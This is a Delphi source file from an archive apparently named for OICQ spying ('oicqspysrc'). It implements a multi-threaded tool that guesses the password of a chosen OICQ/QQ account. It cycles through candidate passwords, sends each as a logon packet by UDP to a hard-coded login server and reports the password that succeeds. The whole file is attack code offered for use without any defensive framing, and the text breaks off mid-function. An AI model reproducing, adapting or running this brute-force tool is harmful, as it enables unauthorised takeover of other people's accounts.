www.pudn.com > oicqspysrc.zip > GuessPw.pas


unit GuessPw; 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, 
  StdCtrls, Spin,WinSock; 
 
type 
  TGuessPassDlg = class(TForm) 
    Label1: TLabel; 
    edTargetID: TEdit; 
    Label2: TLabel; 
    edThreadNum: TSpinEdit; 
    edStartLen: TSpinEdit; 
    edStopLen: TSpinEdit; 
    edTimeOut: TSpinEdit; 
    Label3: TLabel; 
    Label4: TLabel; 
    Label5: TLabel; 
    Label6: TLabel; 
    lbCounter: TLabel; 
    Label7: TLabel; 
    edPassword: TEdit; 
    Label8: TLabel; 
    lbLeftCounter: TLabel; 
    btnStart: TButton; 
    btnStop: TButton; 
    btnSave: TButton; 
    btnLoad: TButton; 
    procedure FormCreate(Sender: TObject); 
    procedure btnStartClick(Sender: TObject); 
    procedure btnStopClick(Sender: TObject); 
  private 
    { Private declarations } 
    FThreadHandle:array of THandle; 
    PwLock:TMultiReadExclusiveWriteSynchronizer; 
    CountLock:TMultiReadExclusiveWriteSynchronizer; 
 
//    nStartLen,nStopLen:Integer; 
    strTargetId:String; 
    nThreadNum,nTimeOut:Integer; 
 
    FCounter,FTotalCount:Integer; 
 
    strCurrPw:String; 
 
    bStopFlag:Boolean; 
    nMsgId:WORD; 
    procedure IncCounter; 
    function  GetNextPw:String; 
    function  GetFirstChar:Char; 
    function  GetNextChar(a:Char;var b:Char):Boolean; 
        function GetNextNumber(a:char;var b:char):Boolean; 
        function GetNextLittleLetter(a:char;var b:char):Boolean; 
        function GetNextBigLetter(a:Char;var b:Char):Boolean; 
        function GetNextSym(a:Char;var b:Char):boolean; 
    function  GetNextWord(s:string):string; 
 
    function  BuildLogonPackage(var buf:array of char;buflen:Integer;pw:string):Integer; 
    function  LogonSucess(buf:array of char;buflen:Integer):Boolean; 
    procedure StartGuess; 
    procedure StopGuess; 
    procedure SaveGuess; 
    procedure LoadGuess; 
  public 
    { Public declarations } 
  end; 
const 
SymbList=['`','~','!','@','#','$','%','^','&', 
    '*','(',')','-','_','=','+','|','\','[',']','{','}', 
    ':',';','''','"',',','<','.','>','/','?']; 
var 
  GuessPassDlg: TGuessPassDlg; 
 
implementation 
uses data,OICQPack; 
{$R *.DFM} 
{ TGuessPassDlg } 
function  ThreadFunc(p:Pointer):integer; 
var 
sock:TSocket; 
addr:TSockAddr; 
buflen,addrlen:Integer; 
nRet,val:Integer; 
pw:string; 
buf:array [0..2048] of char; 
begin 
addr.sin_family:=AF_INET; 
addr.sin_port:=0; 
addr.sin_addr.S_addr:=INADDR_ANY; 
val:=GuesspassDlg.edTimeOut.Value; 
sock:=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP); 
if(sock<>INVALID_SOCKET)then 
    begin 
    if(bind(sock,addr,sizeof(addr))<>SOCKET_ERROR)then 
        begin 
        if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,@val,SizeOf(val))<>SOCKET_ERROR)then 
            begin 
            while(not GuesspassDlg.bStopFlag)do 
                begin 
                pw:=GuesspassDlg.GetNextPw; 
                if(Length(pw)=0)then Break; 
                addrlen:=SizeOf(addr); 
                buflen:=GuesspassDlg.BuildLogonPackage(buf,2048,pw); 
 
                addr.sin_family:=AF_INET; 
                addr.sin_port:=htons(8000); 
                addr.sin_addr.S_addr:=inet_addr('202.103.190.46'); 
                if(sendto(sock,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then 
                    begin 
                    ShowMessage(IntToStr(GetLastError)); 
                    Break; 
                    end; 
                nRet:=recvfrom(sock,buf,2048,0,addr,addrlen); 
                if(nRet<>SOCKET_ERROR)then 
                    begin 
                    if(GuesspassDlg.LogonSucess(buf,nRet))then 
                        begin 
                        GuesspassDlg.bStopFlag:=True; 
                        GuesspassDlg.edPassword.Text:=pw; 
                        end; 
                    end; 
                end; 
            end; 
        end; 
    end; 
closesocket(sock); 
Result:=0; 
end; 
 
function TGuessPassDlg.GetFirstChar: Char; 
begin 
Result:='0'; 
end; 
 
function TGuessPassDlg.GetNextBigLetter(a: Char; var b: Char): Boolean; 
begin 
if(Ord(a)=0)then 
    begin 
    b:='A'; 
    Result:=True; 
    end 
else if(('A'<=a) and (a<'Z'))then 
    begin 
    Result:=True; 
    b:=Chr(Ord(a)+1); 
    end 
else REsult:=False; 
end; 
 
function TGuessPassDlg.GetNextChar(a: Char; var b: Char): Boolean; 
begin 
Result:=GetNextNumber(a,b); 
if(not Result)then Result:=GetNextLittleLetter(a,b); 
if(not Result)then Result:=GetNextBigLetter(a,b); 
end; 
 
function TGuessPassDlg.GetNextLittleLetter(a: char; var b: char): Boolean; 
begin 
if(Ord(a)=0)then 
    begin 
    b:='a'; 
    Result:=True; 
    end 
else if(('a'<=a) and (a<'z'))then 
    begin 
    Result:=True; 
    b:=Chr(Ord(a)+1); 
    end 
else REsult:=False; 
end; 
 
function TGuessPassDlg.GetNextNumber(a: char; var b: char): Boolean; 
begin 
if(Ord(a)=0)then 
    begin 
    b:='0'; 
    Result:=True; 
    end 
else if(('0'<=a) and (a<'9'))then 
    begin 
    Result:=True; 
    b:=Chr(Ord(a)+1); 
    end 
else Result:=False; 
end; 
 
function TGuessPassDlg.GetNextPw: String; 
begin 
PwLock.BeginRead; 
Result:=strCurrPw; 
PwLock.EndRead; 
 
PwLock.BeginWrite; 
strCurrPw:=GetNextWord(strCurrPw); 
PwLock.EndWrite; 
end; 
 
function TGuessPassDlg.GetNextSym(a: Char; var b: Char): boolean; 
begin 
Result:=False; 
end; 
 
function TGuessPassDlg.GetNextWord(s: string): string; 
var 
i,p,len:Integer; 
c:char; 
Ok:Boolean; 
begin 
Ok:=False; 
len:=Length(s); 
p:=0; 
for i:=len downto 1 do 
    begin 
    if(GetNextChar(s[i],c))then 
        begin 
        Ok:=True; 
        p:=i; 
        Break; 
        end; 
    end; 
if(ok)then 
    begin 
    Result:=s; 
    Result[p]:=c; 
    if(p